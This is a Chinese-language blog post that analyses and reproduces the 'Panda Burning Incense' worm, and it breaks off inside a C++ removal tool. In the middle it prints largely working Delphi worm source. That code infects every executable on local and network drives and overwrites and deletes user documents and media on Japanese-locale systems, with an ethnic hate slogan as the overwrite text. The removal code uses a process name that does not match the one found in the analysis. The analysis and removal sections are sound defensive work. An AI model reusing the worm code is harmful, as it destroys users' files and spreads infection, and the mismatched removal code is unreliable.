自己手動復現一個熊貓燒香病毒
起因
最近逛了一下 bilibili ,偶然的一次機會,我在 bilibili 上看到了某個 up 主分享了一個他自己仿照熊貓病毒的原型制作的一個病毒的演示視頻,雖然這個病毒的出現距離現在已經十多年之久了,但是它的威脅性仍然不亞於永恆之藍,出現了很多變種病毒。我覺得蠻有意思的,有必要深究一下,所以我花上幾天的時間研究了一下熊貓燒香病毒的源碼,仿照熊貓燒香病毒原型,也制作了一個類似的軟件,實現的源碼我會在文章的末尾給出 GitHub 項目鏈接,喜歡的朋友不要忘記給我一個 star and follow 呀!
熊貓燒香的介紹
熊貓燒香是一個感染性的蠕蟲病毒,它能感染系統中的 exe ,com ,pif,src,html,asp 等文件,它還能中止大量的反病毒軟件進程並且會刪除擴展名為 gho 的文件,該文件是一系統備份工具 GHOST 的備份文件,使用戶的系統備份文件丟失。被感染的用戶系統中所有的.exe可執行文件圖標全部被改成熊貓燒香的圖標,如下圖所示:

如果有同學對熊貓燒香的來源感興趣的話,可以看看中科大寫的關於熊貓燒香的案件分析:由“熊貓燒香”談起
病毒結構分析

從上述的流程圖中我們可以看到,含有病毒體的文件被運行后,病毒將自身拷貝至系統目錄,同時修改注冊表,將自身設置為開機啟動項,並遍歷各個驅動器,將自身寫入磁盤根目錄,增加一個 autorun.inf 文件,使得用戶打開該盤符時激活病毒體。隨后病毒體開一個線程進行本地文件感染,同時開另外一個線程連接網站下載 DDoS 程序發起惡意攻擊。
具體行為分析
病毒的主要行為分為以下三部分:
-
自我保護與自我復制
-
感染
-
病毒自我保護
自我保護與自我復制行為就是復制自身到系統目錄、雙擊被感染程序可以檢測判斷 spcolsv.exe 是否存在,從被感染的文件分裂出病毒程序重新執行。

感染的行為主要是感染全盤(本地)、定時器感染全盤(本地)、局域網感染(聯網)

病毒自我保護行為主要是設置注冊表、停止殺軟、網站下載代碼並執行。

我們一起來帶大家演示一下這個病毒吧~~~
環境准備
-
Windows 7 企業版
-
VMware Workstation 12
-
panda.exe
-
Process Monitor v3.10
我們先看下下面這個操作

從上面這個操作,我們可以看到,我們打開任務管理器的時候,當前我們任務管理器有49個進程,我們可以通過對比任務管理器就可以知道,病毒創建了哪些進程。我們運行了病毒程序以后,我們可以發現,任務管理器自動關閉了,我們再嘗試打開任務管理器,我們會發現,我們無法打開任務管理器,說明病毒程序已經對我們的系統造成了影響。

緊接着,我們還可以看到 Windows 安全中心服務已關閉,我們大概可以判斷出,病毒程序關閉了我們的防火牆。
那我們現在如何查看當前系統的進程呢?

我們可以通過 cmd 調出命令提示符,輸入 tasklist 可以列出當前系統的進程,我們和之前的系統進程進行匹配,我們可以發現,多出了一個 spcolsv.exe 的進程,我們可以大膽地猜測,這個就是病毒所創建出來的程序。
我們行為分析主要用的是 Process Monitor 工具,我們用過濾功能篩選出 panda.exe 進程信息,我們可以看到捕獲到了許多有關 panda.exe 的進程信息。

我們可以先看下進程樹,我們可以看到,由 panda.exe 衍生出了一個名為 spcolsv.exe 的程序,文件位置為 C:\Windows\system32\drivers\spcolsv.exe ,而這個程序又兩次打開了 cmd.exe ,我們可以看下這里所運行的命令。
net share C$ /del /y 這條命令主要是刪除C盤的共享,由於我目前的虛擬機中只有一個盤符C,所以我們有理由相信,如果病毒在真實機中運行,真實機中會有好幾個盤符的話,它應該會刪除所有盤符的共享。
net share admin$ /del /y 這條命令刪除了根目錄的共享。
看到這里,我們可以總結出病毒的兩點行為:
-
病毒本身創建了名為
spcolsv.exe的進程,該進程文件的路徑為C:\WINDOWS\system32\drivers\spcolsv.exe。 -
在命令行模式下使用
net share命令來取消系統中的共享。

下面我們可以看下 Process Monitor 對病毒的監控
我們可以先看下對注冊表的監控,我們通過篩選,似乎沒有發現很多有用的信息,說明 panda.exe 對於注冊表沒有什么實質的影響

接下來我們可以看下對文件的監控,由於文件項有那么多,我們就只關注對文件的創建部分,我們通過篩選發現, panda.exe 文件在 C:\WINDOWS\system32\drivers 中創建了 spcolsv.exe ,我們並沒有發現其他的東西,所以我們可以猜測,真正對系統產生影響的可能就是 spcolsv.exe 這個程序

所以我們下一步的操作應當是只監控 spcolsv.exe 這樣一個程序,這里我們需要將進程名為 spcolsv.exe 的進程加入篩選器進行分析。一般來說,病毒所產生的操作會比較多,所以我在這里為了便於討論,我每次只會列出幾項操作進行顯示,其它的操作就由篩選器排除掉。首先可以查看一下 RegDeleteValue 這個操作:

可見病毒程序將當時幾乎所有的安全類工具的自啟動項給刪除了,我們可以得出病毒的第三點行為:
- 刪除安全類軟件在注冊表中的啟動項
然后我們只保留 RegCreateKey 與 RegSetValue 進行分析

可見,病毒程序為自身創建了自啟動項,使得每次啟動計算機就會執行自身,因此我們可以得出病毒的第四點行為:
- 在注冊表
HKCU\Software\Microsoft\Windows\CurrentVersion\Run中創建svcshare,用於在開機時啟動位於C:\WINDOWS\system32\drivers\spcolsv.exe的病毒程序
接下來我們可以看到,病毒程序對注冊表的這個位置進行設置,能夠實現文件的隱藏。此處進行設置后,即便在“文件夾選項”中選擇“顯示所有文件和文件夾”,也無法顯示隱藏文件。

我們可以得出病毒的第五點行為:
- 修改注冊表,使得隱藏文件無法通過普通的設置進行顯示,該位置為:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,病毒將CheckedValue的鍵值設置為了0。
至此,注冊表部分就基本分析完畢了。
我們繼續看看文件的監控,我們主要看的是病毒是否將自己復制到其他目錄,或者創建刪除了哪些文件等。

在圖中可以看到,病毒文件在 C:\WINDOWS\system32\drivers 中創建了 spcolsv.exe 這個文件,在C盤根目錄下創建了 setup.exe 與 autorun.inf ,並且在一些目錄中創建了 Desktop_.ini 這個文件。由於創建這些文件之后就對注冊表的 SHOWALL 項進行了設置,使得隱藏文件無法顯示,那么有理由相信,所創建出來的這些文件的屬性都是“隱藏”的,我們可以得出病毒的兩點行為:
-
將自身拷貝到根目錄,並命名為
setup.exe,同時創建autorun.inf用於病毒的啟動,這兩個文件的屬性都是“隱藏”。 -
在一些目錄中創建名為
Desktop_.ini的隱藏文件。
現在只進行網絡監控,來查看病毒是否有聯網動作

從監控結果可以看到,病毒會向 61.131.208.210 發送並接收信息,並不斷嘗試連接 192.168.152.X 即局域網中的其它計算機,我們可以總結出病毒的第八點行為:
- 向外發包,連接局域網中其他機器
源碼分析
網上開源的代碼絕大多數都是用 Delphi 編寫的
病毒文件初始信息如下:
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744字節
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記
垃圾碼,以備寫入
//垃圾碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
判斷是否為 Win9x
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
在流之間復制
{ 在流之間復制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
將宿主文件從已感染的PE文件中分離出來,以備使用
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
填充 Startup Info 結構
{ 填充STARTUPINFO結構 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
發帶毒郵件
{ 發帶毒郵件 }
procedure SendMail;//此處省略了帶危害性的代碼
begin
end;
感染 PE 文件
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744字節),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
將目標文件寫入垃圾碼后刪除
{ 將目標文件寫入垃圾碼后刪除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
獲得可寫的驅動器列表
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盤和網絡盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
遍歷目錄,感染和摧毀文件
{ 遍歷目錄,感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免CPU占用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
遍歷磁盤上所有的文件
{ 遍歷磁盤上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁盤驅動器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
主程序開始
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.
病毒的防護措施及解決方案
手工查殺
流程
1、排查可疑進程。因為病毒往往會創建出來一個或者多個進程,因此我們需要分辨出哪些進程是由病毒所創建,然后刪除可疑進程。
2、檢查啟動項。病毒為了實現自啟動,會采用一些方法將自己添加到啟動項中,從而實現自啟動,所以我們需要把啟動項中的病毒清除。
3、刪除病毒。檢查完啟動項后,我們基本就能夠確定病毒主體的位置,這樣,我們就可以順藤摸瓜,從根本上刪除病毒文件。
4、修復被病毒破壞的文件。這一步一般來說無法直接通過純手工完成,需利用相應的軟件來完成,這里我們不做過多的深究。
環境准備
-
Windows 7 企業版
-
VMware Workstation 12
-
panda.exe
從行為分析中,我們可以知道,病毒創建出來的是一個名為 spcolsv.exe 的進程,我們現在的工作應該是殺掉這個進程。我們可以使用taskkill /f /im PID 這個命令來殺掉這個進程。
-
/f 是強制刪除
-
/im 是指文件的鏡像
-
PID 進程號

我們可以看到,進程被成功的終止,我們再通過 tasklist 查看下當前的進程,我們可以發現, 4964 的進程被殺死了。
下面我們應該檢查一下系統的啟動項,我們輸入 msconfig ,我們可以看到 svshare 這個啟動項存在於 C:\Windows\System32\drivers\spcolsv.exe 中,並且我們還可以看到,它在注冊表創建了一個鍵值,在 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下。

我們可以打開注冊表看一下,我們輸入 regedit ,我們可以看到在C:\Windows\System32\drivers\spcolsv.exe 下面有個名稱為 svshare 的啟動項,我們將啟動項的 √ 取消掉,點擊確認,我們再刷新一下注冊表,我們可以發現,注冊表的啟動項消失了,說明我們已經完成了檢查啟動項的操作。

接下來我們要來刪除這個病毒,從剛才的操作中,我們已經知道了病毒所在的位置,我們打開cmd命令提示符,病毒在C:\Windows\System32\drivers 下,我們可以通過 dir spcolsv.exe 查看當前目錄下是否存在 spcolsv.exe 文件,我們可以看到是真實存在的,下面我們使用 del /f spcolsv.exe 強制刪除病毒文件,我們再用 dir spcolsv.exe 查看下這個文件,我們可以看到病毒文件已經是被刪除了,到這里,我們刪除病毒的工作基本就做完了。

這個病毒不單單是將自身復制到了 drivers 目錄下,它還將自己復制到了每一個盤符的根目錄下。但是由於我 Windows 7 的盤符只有C盤,所以它會將其自身復制到了C盤的根目錄下,我們同樣是可以通過 dir 看一下。
我們在C盤根目錄下輸入 dir ,但是呢,我們發現這里沒有病毒的程序,這個原因可能是因為病毒將自身設置為了隱藏,所以我們這里應該通過 dir /ah ,這個命令是為了顯示隱藏的屬性文件,這樣我們可以列出C盤目錄下所有隱藏屬性的文件,我們可以看到有兩個文件,一個是autorun.inf ,這個是病毒程序所經常利用的,可以實現自啟動的一個程序,然后就是 panda.exe ,這個是病毒的本體程序,我們下面的工作是要刪除這兩個文件。由於這兩個文件是隱藏屬性的,因此我們在刪除的時候,應當加上 /ah ,所以我們使用 del /ah /f autorun.inf 和 del /ah /f setup.exe 兩個命令刪除這兩個文件程序。
-
/a 屬性
-
/h 隱藏
或者我們可以直接通過 attrib -s -r -h 文件名稱 ,來顯示文件,再通過del /f 文件名稱 來直接刪除文件。
-
-s 消除系統屬性
-
-r 消除只讀屬性
-
-h 消除隱藏屬性

專殺工具的編寫
我們對於上面所描述的病毒行為的分析,可以歸納為以下幾點:
1、病毒本身創建了名為 spcolsv.exe 的進程,該進程文件的路徑為 C:\WINDOWS\system32\drivers\spcolsv.exe 。
2、在命令行模式下使用 net share 命令來取消系統中的共享。
3、刪除安全類軟件在注冊表中的啟動項。
4、在注冊表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 中創建 svcshare ,用於在開機時啟動位於 C:\WINDOWS\system32\drivers\spcolsv.exe 的病毒程序。
5、修改注冊表,使得隱藏文件無法通過普通的設置進行顯示,該位置為: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL ,病毒將 CheckedValue 的鍵值設置為了0。
6、將自身拷貝到根目錄,並命名為 setup.exe ,同時創建 autorun.inf 用於病毒的啟動,這兩個文件的屬性都是隱藏的。
7、在一些目錄中創建名為 Desktop_.ini 的隱藏文件。
8、向外發包,連接局域網中其他機器。
如果使用批處理來殺毒,因為它運行時沒有界面,因此我們往往不知道殺毒程序究竟干了些什么,也不知道究竟有沒有查殺成功,這也凸顯了使用高級語言開發專殺工具的優勢。這里我使用 MFC 進行“熊貓燒香”病毒專殺工具的開發,繪制界面如下圖所示:

那么我們該如何編寫這個專殺工具呢?
我們編寫思路大致可以分為以下四部分:
-
計算病毒程序的散列值
-
查找內存中的病毒進程
-
提升系統權限
-
查找並刪除
Desktop_.ini
計算病毒程序的散列值
在查殺病毒的技術中有一種方法類似於特征碼查殺法,這種方法並不從病毒內提取特征碼,而是計算病毒的散列值。利用這個散列值,就可以在查殺的過程中計算每個文件的散列,然后進行比較。這種方法簡單易於實現,一般在病毒剛被發現時,在逆向分析前使用。常見的計算散列的算法有 MD5 、 Sha-1 以及 CRC32 等。這里使用 CRC32 算法計算散列值:
DWORD CRC32(BYTE* ptr,DWORD Size)
{
DWORD crcTable[256],crcTmp1;
//動態生成CRC-32表
for (int i=0; i<256; i++)
{
crcTmp1 = i;
for (int j=8; j>0; j--)
{
if (crcTmp1&1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
else crcTmp1 >>= 1;
}
crcTable[i] = crcTmp1;
}
//計算CRC32值
DWORD crcTmp2= 0xFFFFFFFF;
while(Size--)
{
crcTmp2 = ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & 0xFF ];
ptr++;
}
return (crcTmp2^0xFFFFFFFF);
}
該函數的參數有兩個,一個是指向緩沖區的指針,第二個是緩沖區的長度。它將文件全部讀入緩沖區中,然后用 CRC32 函數計算文件的 CRC32 散列值,可以得到我所研究的“熊貓燒香”病毒的散列值為 0x89240FCD 。這里請大家注意,不同版本的病毒的散列值是不同的,我所得出的這個值僅針對我所討論的這個版本的病毒。
查找內存中的病毒進程
我們需要在內存中查找病毒是否存在:
BOOL FindTargetProcess(char *pszProcessName,DWORD *dwPid)
{
BOOL bFind = FALSE;
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
return bFind;
}
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof(pe);
BOOL bRet = Process32First(hProcessSnap,&pe);
while (bRet)
{
if (lstrcmp(pe.szExeFile,pszProcessName) == 0)
{
*dwPid = pe.th32ProcessID;
bFind = TRUE;
break;
}
bRet = Process32Next(hProcessSnap,&pe);
}
CloseHandle(hProcessSnap);
return bFind;
}
提升系統權限
這里還需要提升系統的權限,提升成功后,當前進程就可以訪問一些受限的系統資源。
BOOL EnableDebugPrivilege(char *pszPrivilege)
{
HANDLE hToken = INVALID_HANDLE_VALUE;
LUID luid;
TOKEN_PRIVILEGES tp;
BOOL bRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
if (bRet == FALSE)
{
return bRet;
}
bRet = LookupPrivilegeValue(NULL,pszPrivilege,&luid);
if (bRet == FALSE)
{
return bRet;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return bRet;
}
查找並刪除Desktop_.ini
病毒會在所有盤符下面的非系統目錄中創建名為 Desktop_.ini 的文件,雖說這個文件看似並不會對系統產生什么危害,但是為了實現對“熊貓燒香”的徹底查殺,還是應當將其刪除的。這里主要涉及兩方面的知識,一個是遍歷整個磁盤的文件,這需要使用 FindFirstFile() 與 FindNextFile() 這兩個API函數,並采用遞歸調用的方法;另一個是修改文件屬性,因為病毒創建出來的文件會帶有系統、只讀和隱藏這三個屬性,若不對其進行更改,是無法刪除病毒文件的。依照這個思想,編寫出如下代碼:
DWORD WINAPI FindFiles(LPVOID lpszPath)
{
WIN32_FIND_DATA stFindFile;
HANDLE hFindFile;
// 掃描路徑
char szPath[MAX_PATH];
char szFindFile[MAX_PATH];
char szSearch[MAX_PATH];
char *szFilter;
int len;
int ret = 0;
szFilter = "*.*";
lstrcpy(szPath, (char *)lpszPath);
len = lstrlen(szPath);
if(szPath[len-1] != '\')
{
szPath[len] = '\';
szPath[len+1] = '\0';
}
lstrcpy(szSearch, szPath);
lstrcat(szSearch,szFilter);
hFindFile = FindFirstFile(szSearch, &stFindFile);
if(hFindFile != INVALID_HANDLE_VALUE)
{
do
{
lstrcpy(szFindFile, szPath);
lstrcat(szFindFile, stFindFile.cFileName);
if(stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if(stFindFile.cFileName[0] != '.')
{
FindFiles(szFindFile);
}
}
else
{
if(!lstrcmp(stFindFile.cFileName,"Desktop_.ini"))
{
// 去除文件的隱藏、系統以及只讀屬性
DWORD dwFileAttributes = GetFileAttributes(szFindFile);
dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
SetFileAttributes(szFindFile, dwFileAttributes);
// 刪除Desktop_.ini
BOOL bRet = DeleteFile(szFindFile);
csTxt += szFindFile;
if (bRet)
{
csTxt += _T("被刪除!\r\n");
}
else
{
csTxt += _T("無法刪除\r\n");
}
}
}
ret = FindNextFile(hFindFile, &stFindFile);
}while(ret != 0);
}
FindClose(hFindFile);
return 0;
}
需要說明的是,這里需要在本程序前定義一個 CString 類型的 csTxt 全局變量,用於將查殺的結果信息輸出到程序界面,之后的程序中也會用到這個變量。
下面我們就可以寫主程序了,也就是"一鍵查殺"按鈕的實現:
void CKillWhBoyDlg::OnBtnKill()
{
// TODO: Add your control notification handler code here
BOOL bRet = FALSE;
DWORD dwPid = 0;
///////////////////////////////////////////////////////////////////
// 結束spoclsv.exe進程,並刪除病毒程序本身
///////////////////////////////////////////////////////////////////
bRet = FindTargetProcess("spoclsv.exe", &dwPid);
if (bRet == TRUE)
{
csTxt = _T("檢查系統內存...\r\n");
csTxt += _T("系統中存在病毒進程:spoclsv.exe\r\n");
csTxt += _T("准備進行查殺...\r\n");
SetDlgItemText(IDC_LIST,csTxt);
// 提升權限
bRet = EnableDebugPrivilege(SE_DEBUG_NAME);
if (bRet == FALSE)
{
csTxt += _T("提升權限失敗\r\n");
}
else
{
csTxt += _T("提升權限成功!\r\n");
}
SetDlgItemText(IDC_LIST,csTxt);
// 打開並嘗試結束病毒進程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
if (hProcess == INVALID_HANDLE_VALUE)
{
csTxt += _T("無法結束病毒進程\r\n");
return ;
}
bRet = TerminateProcess(hProcess,0);
if (bRet == FALSE)
{
csTxt += _T("無法結束病毒進程\r\n");
return ;
}
csTxt += _T("病毒進程已經結束\r\n");
SetDlgItemText(IDC_LIST,csTxt);
CloseHandle(hProcess);
}
else
{
csTxt += _T("系統中不存在spoclsv.exe病毒進程\r\n");
}
Sleep(10);
// 查殺磁盤中是否存在名為spoclsv.exe的病毒文件
char szSysPath[MAX_PATH] = { 0 };
GetSystemDirectory(szSysPath,MAX_PATH);
lstrcat(szSysPath,"\drivers\spoclsv.exe");
csTxt += _T("檢查硬盤中是否存在spoclsv.exe文件...\r\n");
if (GetFileAttributes(szSysPath) == 0xFFFFFFFF)
{
csTxt += _T("spoclsv.exe病毒文件不存在\r\n");
}
else
{
csTxt += _T("spoclsv.exe病毒文件存在,正在計算散列值\r\n");
HANDLE hFile = CreateFile(szSysPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
AfxMessageBox("Create Error");
return ;
}
DWORD dwSize = GetFileSize(hFile,NULL);
if (dwSize == 0xFFFFFFFF)
{
AfxMessageBox("GetFileSize Error");
return ;
}
BYTE *pFile = (BYTE*)malloc(dwSize);
if (pFile == NULL)
{
AfxMessageBox("malloc Error");
return ;
}
DWORD dwNum = 0;
ReadFile(hFile,pFile,dwSize,&dwNum,NULL);
// 計算spoclsv.exe的散列值
DWORD dwCrc32 = CRC32(pFile,dwSize);
if (pFile != NULL)
{
free(pFile);
pFile = NULL;
}
CloseHandle(hFile);
// 0x89240FCD是“熊貓燒香”病毒的散列值
if (dwCrc32 != 0x89240FCD)
{
csTxt += _T("spoclsv.exe校驗和驗證失敗\r\n");
}
else
{
csTxt += _T("spoclsv.exe校驗和驗證成功,正在刪除...\r\n");
// 去除文件的隱藏、系統以及只讀屬性
DWORD dwFileAttributes = GetFileAttributes(szSysPath);
dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
SetFileAttributes(szSysPath, dwFileAttributes);
// 刪除spoclsv.exe
bRet = DeleteFile(szSysPath);
if (bRet)
{
csTxt += _T("spoclsv.exe病毒被刪除!\r\n");
}
else
{
